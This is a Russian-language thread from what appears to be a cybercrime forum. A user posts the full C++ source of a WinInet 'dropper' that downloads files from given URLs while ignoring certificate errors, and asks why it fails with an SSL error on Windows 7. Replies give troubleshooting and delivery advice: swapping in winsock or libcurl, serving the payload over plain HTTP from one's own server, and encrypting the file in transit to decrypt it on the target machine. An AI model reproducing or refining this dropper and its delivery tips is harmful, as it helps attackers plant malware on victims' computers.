• XSS.stack #1 – первый литературный журнал от юзеров форума

C++ Dropper. Ошибка SSL

sect adept

(L3) cache
Пользователь
Регистрация
19.02.2022
Сообщения
280
Решения
3
Реакции
73
Всем привет. Решил написать самый примитивный дроппер на плюсах. Юзаю WinInet. Скачивание файла происходит по прямой ссылке с файлообменника. На моей ВДС Windows Server 2019 все отлично работает, файл скачивается. Запускаю на голой системе Windows 7 без драйверов и тд, где установлен только Internet Explorer по дефолту. В итоге вылетает ошибка ERROR_INTERNET_SECURITY_CHANNEL_ERROR 12157 The application experienced an internal error loading the SSL libraries - код ошибки с MSDN.
Код:
C++:
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <vector>

#pragma comment(lib,"wininet")

using namespace std;

int main(int argc, char* argv[])
{
    ios::sync_with_stdio(0);
    cin.tie(0);
    cout.tie(0);

    if (argc == 1)
    {
        cout << "0 arguments were passed!";
        return 1;
    }

    if (argc == 2)
    {
        cout << "No output file name!";
        return 1;
    }

    vector <LPCSTR> names;
    vector <LPCSTR> urls;

    for (int i = 0; i < argc; i += 2)
    {
        if (i != 0)
        {
            names.push_back(argv[i]);
        }
    }

    for (int i = 1; i < argc; i += 2)
    {
        urls.push_back(argv[i]);
    }

    cout << "Start download" << endl;

    for (int i = 0; i < urls.size(); i++)
    {
        HINTERNET hInternetSession;
        HINTERNET hURL;
        DWORD dwBytesRead = 1;

        hInternetSession = InternetOpen(
            L"tes",
            INTERNET_OPEN_TYPE_PRECONFIG,
            NULL, NULL, 0
        );

        if (!hInternetSession)
        {
            cout << "InternetOpen failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        hURL = InternetOpenUrlA(
            hInternetSession,
            urls[i],
            NULL, 0, INTERNET_FLAG_KEEP_CONNECTION |
                     INTERNET_FLAG_DONT_CACHE |
                     INTERNET_FLAG_SECURE |
                     INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
                     INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                     INTERNET_DEFAULT_HTTPS_PORT,
            0
        );

        if (!hURL)
        {
            cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        DWORD fileSize = 0;
        DWORD lenFileSize = sizeof(DWORD);

        HttpQueryInfo(
            hURL,
            HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
            &fileSize,
            &lenFileSize,
            NULL
        );

        float tb = 1099511627776;
        float gb = 1073741824;
        float mb = 1048576;
        float kb = 1024;
        string size_prefix_str;
        float size;

        if (fileSize >= tb)
        {
            size_prefix_str = " TB";
            size = tb;
        }


        else if (fileSize >= gb && fileSize < tb)
        {
            size_prefix_str = " GB";
            size = gb;
        }

        else if (fileSize >= mb && fileSize < gb)
        {
            size_prefix_str = " MB";
            size = mb;
        }

        else if (fileSize >= kb && fileSize < mb)
        {
            size_prefix_str = " KB";
            size = kb;
        }

        else if (fileSize < kb)
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        else
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        char buf[1024];

        DWORD dwTemp;
        HANDLE hFile = CreateFileA(names[i], GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
        );

        if (!hFile)
        {
            cout << "CreateFileA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        if (INVALID_HANDLE_VALUE == hFile)
        {
            cout << "ERROR INVALID_HANDLE_VALUE " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        float current_byte = 0.0;
        int percent = 0;
        int old_percent = 0;
        string s;

        for (; dwBytesRead > 0;)
        {
            if (!InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead))
            {
                cout << "InternetReadFile failed! Error " << GetLastError() << endl;
                system("pause");
                return 1;
            }
            current_byte += dwBytesRead;

            percent = (current_byte / fileSize) * 100;

            if (percent % 5 == 0 and percent != old_percent)
            {
                system("cls");
                cout << names[i] << "[" << i + 1 << "/" << names.size() << "] " << current_byte / size << size_prefix_str << " of " << fileSize / size << size_prefix_str << " - " << percent << "%\n";
                old_percent = percent;
            }

            WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
        }

        cout << "Downloaded" << endl;

        InternetCloseHandle(hURL);
        InternetCloseHandle(hInternetSession);

        CloseHandle(hFile);
    }

    system("pause");
    return 0;
}

Ошибка на 79 строчке.
C++:
 if (!hURL)
 {

     cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;

     system("pause");

     return 1;

 }
P.S. на говнокод не обращайте внимание, делал быстро на коленке и к релизу обязательно перепишу. Главное сейчас решить ошибку
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
В итоге вылетает ошибка
Wininet на семерках не поддерживает современные стандарты TLS без установки определенной KBшки на систему.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем привет. Решил написать самый примитивный дроппер на плюсах. Юзаю WinInet. Скачивание файла происходит по прямой ссылке с файлообменника. На моей ВДС Windows Server 2019 все отлично работает, файл скачивается. Запускаю на голой системе Windows 7 без драйверов и тд, где установлен только Internet Explorer по дефолту. В итоге вылетает ошибка ERROR_INTERNET_SECURITY_CHANNEL_ERROR 12157 The application experienced an internal error loading the SSL libraries - код ошибки с MSDN.
Код:
C++:
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <vector>

#pragma comment(lib,"wininet")

using namespace std;

int main(int argc, char* argv[])
{
    ios::sync_with_stdio(0);
    cin.tie(0);
    cout.tie(0);

    if (argc == 1)
    {
        cout << "0 arguments were passed!";
        return 1;
    }

    if (argc == 2)
    {
        cout << "No output file name!";
        return 1;
    }

    vector <LPCSTR> names;
    vector <LPCSTR> urls;

    for (int i = 0; i < argc; i += 2)
    {
        if (i != 0)
        {
            names.push_back(argv[i]);
        }
    }

    for (int i = 1; i < argc; i += 2)
    {
        urls.push_back(argv[i]);
    }

    cout << "Start download" << endl;

    for (int i = 0; i < urls.size(); i++)
    {
        HINTERNET hInternetSession;
        HINTERNET hURL;
        DWORD dwBytesRead = 1;

        hInternetSession = InternetOpen(
            L"tes",
            INTERNET_OPEN_TYPE_PRECONFIG,
            NULL, NULL, 0
        );

        if (!hInternetSession)
        {
            cout << "InternetOpen failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        hURL = InternetOpenUrlA(
            hInternetSession,
            urls[i],
            NULL, 0, INTERNET_FLAG_KEEP_CONNECTION |
                     INTERNET_FLAG_DONT_CACHE |
                     INTERNET_FLAG_SECURE |
                     INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
                     INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                     INTERNET_DEFAULT_HTTPS_PORT,
            0
        );

        if (!hURL)
        {
            cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        DWORD fileSize = 0;
        DWORD lenFileSize = sizeof(DWORD);

        HttpQueryInfo(
            hURL,
            HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
            &fileSize,
            &lenFileSize,
            NULL
        );

        float tb = 1099511627776;
        float gb = 1073741824;
        float mb = 1048576;
        float kb = 1024;
        string size_prefix_str;
        float size;

        if (fileSize >= tb)
        {
            size_prefix_str = " TB";
            size = tb;
        }


        else if (fileSize >= gb && fileSize < tb)
        {
            size_prefix_str = " GB";
            size = gb;
        }

        else if (fileSize >= mb && fileSize < gb)
        {
            size_prefix_str = " MB";
            size = mb;
        }

        else if (fileSize >= kb && fileSize < mb)
        {
            size_prefix_str = " KB";
            size = kb;
        }

        else if (fileSize < kb)
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        else
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        char buf[1024];

        DWORD dwTemp;
        HANDLE hFile = CreateFileA(names[i], GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
        );

        if (!hFile)
        {
            cout << "CreateFileA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        if (INVALID_HANDLE_VALUE == hFile)
        {
            cout << "ERROR INVALID_HANDLE_VALUE " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        float current_byte = 0.0;
        int percent = 0;
        int old_percent = 0;
        string s;

        for (; dwBytesRead > 0;)
        {
            if (!InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead))
            {
                cout << "InternetReadFile failed! Error " << GetLastError() << endl;
                system("pause");
                return 1;
            }
            current_byte += dwBytesRead;

            percent = (current_byte / fileSize) * 100;

            if (percent % 5 == 0 and percent != old_percent)
            {
                system("cls");
                cout << names[i] << "[" << i + 1 << "/" << names.size() << "] " << current_byte / size << size_prefix_str << " of " << fileSize / size << size_prefix_str << " - " << percent << "%\n";
                old_percent = percent;
            }

            WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
        }

        cout << "Downloaded" << endl;

        InternetCloseHandle(hURL);
        InternetCloseHandle(hInternetSession);

        CloseHandle(hFile);
    }

    system("pause");
    return 0;
}

Ошибка на 79 строчке.
C++:
 if (!hURL)
 {

     cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;

     system("pause");

     return 1;

 }
P.S. на говнокод не обращайте внимание, делал быстро на коленке и к релизу обязательно перепишу. Главное сейчас решить ошибку
Don't use wininet better use winsock even for http file read , it harder a littel but it's better
 
Всем привет. Решил написать самый примитивный дроппер на плюсах. Юзаю WinInet. Скачивание файла происходит по прямой ссылке с файлообменника. На моей ВДС Windows Server 2019 все отлично работает, файл скачивается. Запускаю на голой системе Windows 7 без драйверов и тд, где установлен только Internet Explorer по дефолту. В итоге вылетает ошибка ERROR_INTERNET_SECURITY_CHANNEL_ERROR 12157 The application experienced an internal error loading the SSL libraries - код ошибки с MSDN.
Код:
C++:
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <vector>

#pragma comment(lib,"wininet")

using namespace std;

int main(int argc, char* argv[])
{
    ios::sync_with_stdio(0);
    cin.tie(0);
    cout.tie(0);

    if (argc == 1)
    {
        cout << "0 arguments were passed!";
        return 1;
    }

    if (argc == 2)
    {
        cout << "No output file name!";
        return 1;
    }

    vector <LPCSTR> names;
    vector <LPCSTR> urls;

    for (int i = 0; i < argc; i += 2)
    {
        if (i != 0)
        {
            names.push_back(argv[i]);
        }
    }

    for (int i = 1; i < argc; i += 2)
    {
        urls.push_back(argv[i]);
    }

    cout << "Start download" << endl;

    for (int i = 0; i < urls.size(); i++)
    {
        HINTERNET hInternetSession;
        HINTERNET hURL;
        DWORD dwBytesRead = 1;

        hInternetSession = InternetOpen(
            L"tes",
            INTERNET_OPEN_TYPE_PRECONFIG,
            NULL, NULL, 0
        );

        if (!hInternetSession)
        {
            cout << "InternetOpen failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        hURL = InternetOpenUrlA(
            hInternetSession,
            urls[i],
            NULL, 0, INTERNET_FLAG_KEEP_CONNECTION |
                     INTERNET_FLAG_DONT_CACHE |
                     INTERNET_FLAG_SECURE |
                     INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
                     INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                     INTERNET_DEFAULT_HTTPS_PORT,
            0
        );

        if (!hURL)
        {
            cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        DWORD fileSize = 0;
        DWORD lenFileSize = sizeof(DWORD);

        HttpQueryInfo(
            hURL,
            HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
            &fileSize,
            &lenFileSize,
            NULL
        );

        float tb = 1099511627776;
        float gb = 1073741824;
        float mb = 1048576;
        float kb = 1024;
        string size_prefix_str;
        float size;

        if (fileSize >= tb)
        {
            size_prefix_str = " TB";
            size = tb;
        }


        else if (fileSize >= gb && fileSize < tb)
        {
            size_prefix_str = " GB";
            size = gb;
        }

        else if (fileSize >= mb && fileSize < gb)
        {
            size_prefix_str = " MB";
            size = mb;
        }

        else if (fileSize >= kb && fileSize < mb)
        {
            size_prefix_str = " KB";
            size = kb;
        }

        else if (fileSize < kb)
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        else
        {
            size_prefix_str = " Bytes";
            size = 1;
        }

        char buf[1024];

        DWORD dwTemp;
        HANDLE hFile = CreateFileA(names[i], GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
        );

        if (!hFile)
        {
            cout << "CreateFileA failed! Error " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        if (INVALID_HANDLE_VALUE == hFile)
        {
            cout << "ERROR INVALID_HANDLE_VALUE " << GetLastError() << endl;
            system("pause");
            return 1;
        }

        float current_byte = 0.0;
        int percent = 0;
        int old_percent = 0;
        string s;

        for (; dwBytesRead > 0;)
        {
            if (!InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead))
            {
                cout << "InternetReadFile failed! Error " << GetLastError() << endl;
                system("pause");
                return 1;
            }
            current_byte += dwBytesRead;

            percent = (current_byte / fileSize) * 100;

            if (percent % 5 == 0 and percent != old_percent)
            {
                system("cls");
                cout << names[i] << "[" << i + 1 << "/" << names.size() << "] " << current_byte / size << size_prefix_str << " of " << fileSize / size << size_prefix_str << " - " << percent << "%\n";
                old_percent = percent;
            }

            WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
        }

        cout << "Downloaded" << endl;

        InternetCloseHandle(hURL);
        InternetCloseHandle(hInternetSession);

        CloseHandle(hFile);
    }

    system("pause");
    return 0;
}

Ошибка на 79 строчке.
C++:
 if (!hURL)
 {

     cout << "InternetOpenUrlA failed! Error " << GetLastError() << endl;

     system("pause");

     return 1;

 }
P.S. на говнокод не обращайте внимание, делал быстро на коленке и к релизу обязательно перепишу. Главное сейчас решить ошибку
Скорее всего не поддерживается, перепиши на winsock / winsock2 это не сложно, но она должна поддержаваться.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
use winsock even for http file read

перепиши на winsock / winsock2
Предлагаете новичку переписать SSL на винсок?) Интересно.
Тогда уж надо готовые либы юзать, где оно всё есть.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Предлагаете новичку переписать SSL на винсок?) Интересно.
Тогда уж надо готовые либы юзать, где оно всё есть.
their a lot of sources on github so he can read and read and ask for help and finally he can get a new skill internet have a lot opens ources so yes i will suggest winsock will
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я просто напомню, что для реализации SSL помимо хендшейков и прочей чуши нужен как минимум RSA и AES, а для RSA нужно большие числа реализовать. Куда проще взять какой-нибудь mbedtls или wolfssl в таком случае. Или сразу libcurl.
 
Предлагаете новичку переписать SSL на винсок?) Интересно.
Тогда уж надо готовые либы юзать, где оно всё есть.
Не))) конечно же не ssl, обычный http использовать, на крайний случай к http можно своё шифрование прицепить, качать зашифрованный файл, а на машине уже расшифровывать, тут нет ничего сложного)

Я просто напомню, что для реализации SSL помимо хендшейков и прочей чуши нужен как минимум RSA и AES, а для RSA нужно большие числа реализовать. Куда проще взять какой-нибудь mbedtls или wolfssl в таком случае. Или сразу libcurl.
Ну если он пишет под WIN32/64 то можно использовать вместо libcurl и openssl, правда это сразу +2-3мб к билду.
 
Ну если он пишет под WIN32/64 то можно использовать вместо libcurl и openssl, правда это сразу +2-3мб к билду.
если отключить ненужные протоколы и собрать c schannel то будет меньше
 
если отключить ненужные протоколы и собрать c schannel то будет гораздо меньше
Это конечно, но если не отключать то это стабильно 2-3 мб если компилить с помощью GCC-MinGW.
 
можно собрать с visual studio, либо msys2 clang64/ucrt64
Да можно и tiny-gcc собрать если захотеть, вариантов куча, я рассматриваю то чем я сам лично пользуюсь)
 
Спасибо всем за ответы. Буду дальше пробовать)

А если свой сервак поднять без ssl и прочей чушни, и с него дропать файл, такой вариант есть или бред несу? Какие плюсы и минусы в данном способе тогда?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А если свой сервак поднять без ssl и прочей чушни, и с него дропать файл, такой вариант есть
это самый оптимальный вариант. ссл тебе нах не нужна - ее файрволы и авера распакуют все равно. и лучше возми libcurl
Какие плюсы и минусы в данном способе тогда?
минусов нет одни плюсы
 
это самый оптимальный вариант. ссл тебе нах не нужна - ее файрволы и авера распакуют все равно. и лучше возми libcurl

минусов нет одни плюсы
Благодарю. Тогда другой вопрос немного не по теме. Как я могу поднять свой сервак на ВДС с виндой, не арендуя к примеру линукс тот же. На моей ВДС стоит впн, как я тогда смогу подключаться к серверу для дропа? Впн без перенаправления портов
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Благодарю. Тогда другой вопрос немного не по теме. Как я могу поднять свой сервак на ВДС с виндой, не арендуя к примеру линукс тот же. На моей ВДС стоит впн, как я тогда смогу подключаться к серверу для дропа? Впн без перенаправления портов
Если вы хотите запускать линукс на ВПСке с виндой, если правильно вас понял, то попробуйте использовать либо неполную программную эмуляцию типа QEMU, либо virtaulbox, а там, в свою очередь, поднимите хост с линуксом. Но это может сработать в том случае, если ВПС с виндой работает на основе полной виртуализации, типа KVM, VmWare ESX, итд.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
юзай winsock там не так сложно переписать
Да-да, весь SSL/TLS так не сложно переписать, просто сядь, да через минут 10 закончишь...
 
На своей VPS можно в конфиге веб сервера прописать поддержку старых SSL/TLS протоколов.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх